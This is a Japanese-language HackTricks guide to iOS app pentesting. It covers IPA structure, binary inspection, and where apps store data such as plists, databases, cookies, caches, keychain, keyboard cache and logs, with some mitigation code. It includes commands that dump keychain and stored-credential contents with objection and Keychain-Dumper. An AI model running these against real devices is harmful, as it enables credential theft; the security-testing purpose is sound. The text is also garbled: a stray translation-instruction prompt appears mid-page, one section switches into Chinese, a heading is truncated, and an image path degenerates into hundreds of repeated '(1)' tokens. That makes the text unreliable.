.. | ||
basic-ios-testing-operations.md | ||
burp-configuration-for-ios.md | ||
extracting-entitlements-from-compiled-application.md | ||
frida-configuration-in-ios.md | ||
ios-app-extensions.md | ||
ios-basics.md | ||
ios-custom-uri-handlers-deeplinks-custom-schemes.md | ||
ios-hooking-with-objection.md | ||
ios-protocol-handlers.md | ||
ios-serialisation-and-encoding.md | ||
ios-testing-environment.md | ||
ios-uiactivity-sharing.md | ||
ios-uipasteboard.md | ||
ios-universal-links.md | ||
ios-webviews.md | ||
README.md |
iOS Pentesting
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyをご覧ください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricks swagを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。
iOSの基礎
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
テスト環境
このページでは、iOSシミュレータ、エミュレータ、およびジェイルブレイクに関する情報を見つけることができます。
{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}
初期分析
基本的なiOSテスト操作
テスト中には、いくつかの操作が提案されます(デバイスへの接続、ファイルの読み書き/アップロード/ダウンロード、一部のツールの使用など)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、ページを読み始めてください:
{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}
{% hint style="info" %}
以下の手順では、アプリがデバイスにインストールされており、アプリのIPAファイルをすでに取得している必要があります。
これを行う方法については、Basic iOS Testing Operationsページを参照してください。
{% endhint %}
基本的な静的分析
IPAファイルに対して自動的な静的分析を実行するために、ツールMobSFを使用することをお勧めします。
バイナリに存在する保護の識別:
- PIE(Position Independent Executable):有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされるため、初期メモリアドレスを予測するのが困難になります。
otool -hv <app-binary> | grep PIE # PIEフラグを含める必要があります
- スタックキャナリー:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardとstack_chk_failのシンボルを含める必要があります
- ARC(Automatic Reference Counting):一般的なメモリ破損の欠陥を防ぐために
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルを含める必要があります
- 暗号化されたバイナリ:バイナリは暗号化されている必要があります
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
**感
基本的な動的解析
MobSFが実行する動的解析を確認してください。異なるビューをナビゲートし、それらと対話する必要がありますが、いくつかのクラスをフックして他の操作を行い、完了したらレポートを作成します。
インストールされたアプリのリスト表示
デバイスにインストールされているアプリを対象にする場合、まず分析したいアプリケーションの正しいバンドル識別子を特定する必要があります。frida-ps -Uai
を使用して、接続されたUSBデバイス(-U
)に現在インストールされている(-i
)すべてのアプリ(-a
)を取得できます。
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
基本的な列挙とフック
アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドとクラスをフックする方法を学びましょう。objectionを使用してください。
{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}
IPAの構造
.ipa
ファイルは圧縮されたパッケージですので、拡張子を.zip
に変更して解凍することができます。インストールする準備ができた完全なパッケージ化されたアプリは一般的にバンドルと呼ばれます。
解凍すると、<NAME>.app
という名前のフォルダが表示され、その中に他のリソースが含まれているzipアーカイブがあります。
Info.plist
: アプリケーション固有の設定を含むファイルです。_CodeSignature/
: バンドル内のすべてのファイルに対する署名を含むplistファイルが含まれています。Assets.car
: アイコンなどのアセットが含まれる別のzipアーカイブです。Frameworks/
: .dylibまたは.frameworkファイルとしてのアプリのネイティブライブラリが含まれています。PlugIns/
: .appexファイルとしてのアプリの拡張機能が含まれている場合があります(例では表示されません)。Core Data
: オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションの単一のデバイス上でアンドゥ機能を追加するために使用されます。単一のiCloudアカウント内の複数のデバイス間でデータを同期するために、Core Dataはスキーマを自動的にCloudKitコンテナにミラーリングします。PkgInfo
:PkgInfo
ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。- en.lproj, fr.proj, Base.lproj: これらは、特定の言語のリソースと、言語がサポートされていない場合のデフォルトリソースを含む言語パックです。
iOSアプリケーションでUIを定義するための複数の方法があります: storyboard, _nib_または_xib_ファイルです。
Info.plist
情報プロパティリストまたはInfo.plist
は、iOSアプリの情報の主要な情報源です。アプリの重要な設定情報を記述した、キーと値のペアを含む構造化ファイルで構成されています。実際には、すべてのバンドルされた実行可能ファイル(アプリ拡張、フレームワーク、アプリ)には必ずInfo.plist
ファイルがあることが期待されています。すべての可能なキーについては、Apple Developer Documentationを参照してください。
ファイルは**XMLまたはバイナリ(bplist)**でフォーマットされている場合があります。次の単純なコマンドを使用して、XML形式に変換できます。
- macOSの場合は、macOS 10.2以降のバージョンにネイティブで付属しているツールである
plutil
を使用します(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
- Linuxの場合:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
以下は、Info.plist
ファイル内のいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、grep -i <keyword> Info.plist
を使用して簡単に検索できます。
- アプリの許可目的の文字列:
UsageDescription
- カスタムURLスキーム:
CFBundleURLTypes
- エクスポート/インポートされたカスタムドキュメントタイプ:
UTExportedTypeDeclarations
/UTImportedTypeDeclarations
- アプリトランスポートセキュリティ(ATS)の設定:
NSAppTransportSecurity
これらのポイントをテストする方法については、該当する章を参照してください。
データパス
iOSでは、**システムアプリケーションは/Applications
ディレクトリにあり、ユーザーがインストールしたアプリは/private/var/containers/
**以下で利用できます。ただし、ファイルシステムをナビゲートして適切なフォルダを見つけることは簡単なタスクではありません。なぜなら、**すべてのアプリにはランダムな128ビットUUID(ユニバーサルユニーク識別子)**が割り当てられ、ディレクトリ名に使用されるからです。
ユーザーがインストールしたアプリのインストールディレクトリ情報を簡単に取得するために、objectionのコマンドenv
を使用することもできます。これにより、アプリのすべてのディレクトリ情報が表示されます。
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
以下は、モバイルペンテスト/iosペンテスト/README.mdファイルからのコンテンツです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'、pentesting、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
如上所述,应用程序有两个主要位置:
* **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`)。
* **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`)。
这些文件夹包含在应用程序安全评估期间必须仔细检查的信息(例如分析存储的敏感数据时)。
**Bundle directory:**
* **AppName.app**
* 这是之前在IPA中看到的应用程序包,它包含了必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
* 此目录对用户可见,但**用户无法写入**。
* 此目录中的内容**不会备份**。
* 此文件夹的内容用于**验证代码签名**。
**Data directory:**
* **Documents/**
* 包含所有用户生成的数据。应用程序最终用户启动了此数据的创建。
* 对用户可见,**用户可以写入**。
* 此目录中的内容**会备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/**
* 包含所有**非用户特定**的文件,例如**缓存**、**首选项**、**Cookie**和属性列表(plist)配置文件。
* iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
* **Library/Caches/**
* 包含**半持久性缓存文件**。
* 对用户不可见,**用户无法写入**。
* 此目录中的内容**不会备份**。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
* **Library/Application Support/**
* 包含运行应用程序所需的**持久性文件**。
* 对用户**不可见**,用户无法写入。
* 此目录中的内容**会备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/Preferences/**
* 用于存储可以**在应用程序重新启动后仍然存在**的属性。
* 信息以未加密的形式保存在应用程序沙箱中的名为\[BUNDLE\_ID].plist的plist文件中。
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
* **tmp/**
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的临时文件。
* 包含非持久性缓存文件。
* 对用户**不可见**。
* 此目录中的内容不会备份。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
让我们仔细查看iGoat-Swift的应用程序包(.app)目录,位于Bundle目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
バイナリリバースエンジニアリング
<application-name>.app
フォルダの中には <application-name>
という名前のバイナリファイルがあります。これが実行されるファイルです。ツール otool
を使用してバイナリの基本的な検査を行うことができます。
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
アプリが暗号化されているかどうかを確認する
次のコマンドの出力があるかどうかを確認してください:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
バイナリの逆アセンブル
テキストセクションを逆アセンブルします:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
サンプルアプリケーションのObjective-Cセグメントを出力するには、次のコマンドを使用します:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
よりコンパクトなObjective-Cコードを取得するためには、class-dumpを使用することができます。
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
ただし、バイナリを逆アセンブルするための最良のオプションは、HopperとIDAです。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
データの保存
iOSがデバイスにデータを保存する方法については、次のページを参照してください:
{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}
{% hint style="warning" %}
次の情報の保存場所は、アプリケーションのインストール直後、アプリケーションのすべての機能を確認した後、さらには1つのユーザーからログアウトして別のユーザーにログインした後にチェックする必要があります。
目標は、アプリケーション(パスワード、トークン)、現在のユーザー、以前にログインしたユーザーの保護されていない機密情報を見つけることです。
{% endhint %}
Plist
plistファイルは、キーと値のペアを含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルには機密情報が含まれている場合があります。アプリをインストールした後や、アプリを集中的に使用した後に新しいデータが書き込まれているかどうかを確認するために、これらのファイルをチェックすることをお勧めします。
plistファイルにデータを永続化する最も一般的な方法は、NSUserDefaultsの使用です。このplistファイルは、**Library/Preferences/<appBundleID>.plist
**の中にアプリのサンドボックス内に保存されます。
NSUserDefaults
クラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションはユーザーの設定に応じて動作をカスタマイズすることができます。NSUserDefaults
に保存されたデータは、アプリケーションバンドル内で表示することができます。このクラスはデータをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。
このデータは、信頼できるコンピュータから直接アクセスすることはできませんが、バックアップを実行することでアクセスすることができます。
NSUserDefaults
を使用して保存された情報をダンプするには、objectionのios nsuserdefaults get
を使用します。
アプリケーションが使用するすべてのplistを見つけるには、/private/var/mobile/Containers/Data/Application/{APPID}
にアクセスして次のコマンドを実行します:
find ./ -name "*.plist"
ファイルは**XMLまたはバイナリ(bplist)**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換することができます:
- macOSでは、
plutil
を使用します。これはmacOS 10.2以降のバージョンにネイティブに付属しているツールです(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
- Linuxでは:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
- objectionのセッションで:
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
Core Data
Core Data
は、アプリケーションのモデルレイヤーを管理するためのフレームワークです。Core Dataは永続ストアとしてSQLiteを使用することができますが、フレームワーク自体はデータベースではありません。
CoreDataはデフォルトではデータを暗号化しません。ただし、追加の暗号化レイヤーをCoreDataに追加することができます。詳細については、GitHubリポジトリを参照してください。
アプリケーションのSQLite Core Data情報は、パス/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support
にあります。
SQLiteを開いて機密情報にアクセスできる場合、設定ミスを見つけたことになります。
{% code title="iGoatからのコード" %}
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
{% endcode %}
YapDatabase
YapDatabaseはSQLiteの上に構築されたキー/値ストアです。
YapデータベースはSQLiteデータベースなので、前のセクションで説明した方法で見つけることができます。
その他のSQLiteデータベース
アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには機密データが保存されており、暗号化されていない状態で残されている可能性があります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (/private/var/mobile/Containers/Data/Application/{APPID}
)
find ./ -name "*.sqlite" -or -name "*.db"
Firebaseリアルタイムデータベース
アプリケーション開発者は、NoSQLクラウドホストデータベースとのデータの保存と同期にFirebaseリアルタイムデータベースを利用することができます。データはJSONとして保存され、リアルタイムで接続されたすべてのクライアントに同期され、アプリケーションがオフラインになっても利用可能です。
ミス構成されたFirebaseデータベースをチェックする方法は、こちらを参照してください:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}
Realmデータベース
Realm Objective-CとRealm SwiftはAppleによって提供されていませんが、それらは注目に値します。暗号化が有効になっていない限り、すべてのデータが暗号化されずに保存されます。
これらのデータベースは/private/var/mobile/Containers/Data/Application/{APPID}
に見つけることができます。
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
このデータベースファイルを開くために、ツールRealm Studioを使用することができます。
以下の例は、Realmデータベースで暗号化を使用する方法を示しています:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite データベース
Couchbase Liteは、軽量で埋め込み型のドキュメント指向(NoSQL)データベースエンジンであり、同期が可能です。iOSおよびmacOS向けにネイティブにコンパイルされます。
/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
にある可能性のあるCouchbaseデータベースをチェックしてください。
クッキー
iOSはアプリのクッキーを各アプリのフォルダ内の**Library/Cookies/cookies.binarycookies
に保存します。ただし、開発者は時々、バックアップでアクセスできるという理由で、これらをキーチェーン**に保存することを選択することもあります。
クッキーファイルを調査するには、このPythonスクリプトを使用するか、objectionの**ios cookies get
**を使用できます。
これらのファイルをJSON形式に変換してデータを調査するためにも、objectionを使用することもできます。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
キャッシュ
デフォルトでは、NSURLSessionはHTTPリクエストとレスポンスをCache.dbデータベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、機密データが含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(/var/mobile/Containers/Data/Application/<UUID>
)を開き、/Library/Caches/<Bundle Identifier>
に移動します。WebKitキャッシュもCache.dbファイルに保存されています。Objectionは、sqlite connect Cache.db
コマンドを使用してデータベースを開いて操作することができます。これは通常のSQLiteデータベースです。
リクエストまたはレスポンスに機密情報が含まれている可能性があるため、このデータのキャッシュを無効にすることが推奨されています。以下のリストは、これを実現するためのさまざまな方法を示しています:
- ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これは、Appleが提供する
removeAllCachedResponses
というメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます:
URLCache.shared.removeAllCachedResponses()
このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。 2. クッキーの利点を使用する必要がない場合は、URLSessionの.ephemeral構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。
ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。
3. キャッシュは、キャッシュポリシーを.notAllowedに設定することで無効にすることもできます。これにより、キャッシュがメモリまたはディスクに保存されなくなります。
スナップショット
ホームボタンを押すたびに、iOSは現在の画面のスナップショットを撮影し、アプリケーションへの遷移をよりスムーズに行うために使用します。ただし、現在の画面に機密データが含まれている場合、それは画像に保存されます(これは再起動を超えて永続化されます)。これらのスナップショットは、ホーム画面をダブルタップしてアプリ間を切り替えることでアクセスすることもできます。
iPhoneがジェイルブレイクされていない限り、攻撃者はこれらのスクリーンショットを見るためには、デバイスにアクセスするためのブロック解除が必要です。デフォルトでは、最後のスナップショットはアプリのサンドボックス内のLibrary/Caches/Snapshots/
またはLibrary/SplashBoard/Snapshots
フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。
この問題を防ぐための方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これはApplicationDidEnterBackground()
関数を使用して行うことができます。
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C(オブジェクティブ-C):
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
この設定は、アプリケーションがバックグラウンドになったときに背景画像をoverlayImage.png
に設定します。overlayImage.png
は常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
キーチェーン
Keychain-Dumperのようなツールを使用してキーチェーンをダンプすることができます(デバイスはジェイルブレイクされている必要があります)。
また、Objectionのios keychain dump
も使用できます。
NSURLCredential
NSURLCredentialは、ユーザー名とパスワードをキーチェーンに保存するための完璧なクラスです。NSUserDefaultsやキーチェーンラッパーを使用する必要はありません。
ユーザーがログインしたら、彼のユーザー名とパスワードをキーチェーンに保存することができます。
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
Objectionの ios nsurlcredentialstorage dump
を使用して、これらの秘密情報をダンプすることができます。
カスタムキーボード/キーボードキャッシュ
iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタム拡張機能のインストールを許可しています。
インストールされたキーボードは、設定 > 一般 > キーボード > キーボード から管理できます。
カスタムキーボードは、キーストロークをスニフィングして、それらを攻撃者のサーバーに送信することができます。ただし、ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。
また、ユーザーは別の(より信頼性の高い)キーボードに切り替えて資格情報を入力することができます。
さらに、アプリケーションは、アプリ内(または少なくともアプリの重要な部分に対して)カスタムキーボードの使用を制限することができます。
{% hint style="warning" %} ユーザーがそれらを必要としないと考える場合、サードパーティのキーボードを許可しないことをお勧めします。 {% endhint %}
オートコレクトとオートサジェストのため、デフォルトのiOSキーボードは、属性securetTextEntryがtrueに設定されていない場合、またはautoCorrectionTypeがUITextAutoCorrectionTypeNoに設定されていない場合、キャッシュファイルに各非標準単語をキャプチャして保存します。
デフォルトでは、キーボードはLibrary/Keyboard/{locale}-dynamic-text.dat
ファイルまたは/private/var/mobile/Library/Keyboard/dynamic-text.dat
にこのキャッシュを保存しますが、他の場所に保存されている可能性もあります。
キャッシュをリセットするには、設定 > 一般 > リセット > キーボード辞書をリセット に移動します。
{% hint style="info" %}
したがって、これらのファイルを常にチェックし、可能な機密情報を検索してください。
カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認するために、ネットワークトラフィックを傍受することもできます。
{% endhint %}
キーボードキャッシュには、UITextInputTraitsプロトコルが使用されます。UITextField、UITextView、およびUISearchBarクラスは、このプロトコルを自動的にサポートし、次のプロパティを提供します。
var autocorrectionType: UITextAutocorrectionType
は、入力中にオートコレクションが有効かどうかを決定します。オートコレクションが有効な場合、テキストオブジェクトは未知の単語を追跡し、適切な置換を提案します。ユーザーが置換をオーバーライドしない限り、入力されたテキストを自動的に置換します。このプロパティのデフォルト値はUITextAutocorrectionTypeDefault
であり、ほとんどの入力方法ではオートコレクションが有効になります。var secureTextEntry: BOOL
は、UITextField
に対してテキストのコピーとテキストのキャッシュが無効になり、入力されているテキストが非表示になるかどうかを決定します。このプロパティのデフォルト値はNO
です。
コードでこの動作を特定するには:
- 類似の実装を持つソースコードを検索し、以下のようなものを探します。
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
- Xcodeの
Interface Builder
でxibとstoryboardファイルを開き、適切なオブジェクトのAttributes Inspector
でSecure Text Entry
とCorrection
の状態を確認します。
アプリケーションは、テキストフィールドに入力された機密情報のキャッシュを防止する必要があります。キャッシュを無効にするには、textObject.autocorrectionType = UITextAutocorrectionTypeNo
の指示を使用して、必要なUITextFields、UITextViews、およびUISearchBarsでプログラム的に無効にします。PINやパスワードなどのマスクする必要があるデータに対しては、textObject.secureTextEntry
をYES
に設定します。
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
ログ
コードをデバッグする最も一般的な方法は、ログを使用することであり、アプリケーションはログ内に機密情報を表示する可能性があります。
iOSバージョン6以前では、ログはワールドリーダブルでした(悪意のあるアプリは他のアプリのログを読み取り、そこから機密情報を抽出することができました)。現在では、アプリは自分自身のログにのみアクセスできます。
ただし、アンロックされたデバイスに物理的なアクセス権限を持つ攻撃者は、それをコンピュータに接続し、ログを読み取ることができます(アプリがアンインストールされても、アプリによってディスクに書き込まれたログは削除されません)。
アプリのすべての画面をナビゲートし、すべてのUI要素と機能とやり取りし、すべてのテキストフィールドに入力テキストを提供し、ログを確認して公開された機密情報を探すことが推奨されます。
以下のキーワードを使用して、アプリのソースコードを事前定義およびカスタムのログステートメントをチェックします:
- 事前定義および組み込み関数:
- NSLog
- NSAssert
- NSCAssert
- fprintf
- カスタム関数:
- Logging
- Logfile
システムログのモニタリング
多くのアプリは、情報(および潜在的に機密性の高い)メッセージをコンソールログに記録します。ログにはクラッシュレポートやその他の有用な情報も含まれています。
次のツールを使用できます:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To get the device logs
Xcodeのデバイスウィンドウを通じてコンソールログを収集する方法は次のとおりです:
- Xcodeを起動します。
- ホストコンピュータにデバイスを接続します。
- ウィンドウ -> デバイスとシミュレータを選択します。
- デバイスウィンドウの左側のセクションで接続されたiOSデバイスをクリックします。
- 問題を再現します。
- デバイスウィンドウの右上にあるコンソールを開くボタンをクリックして、別のウィンドウでコンソールログを表示します。
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 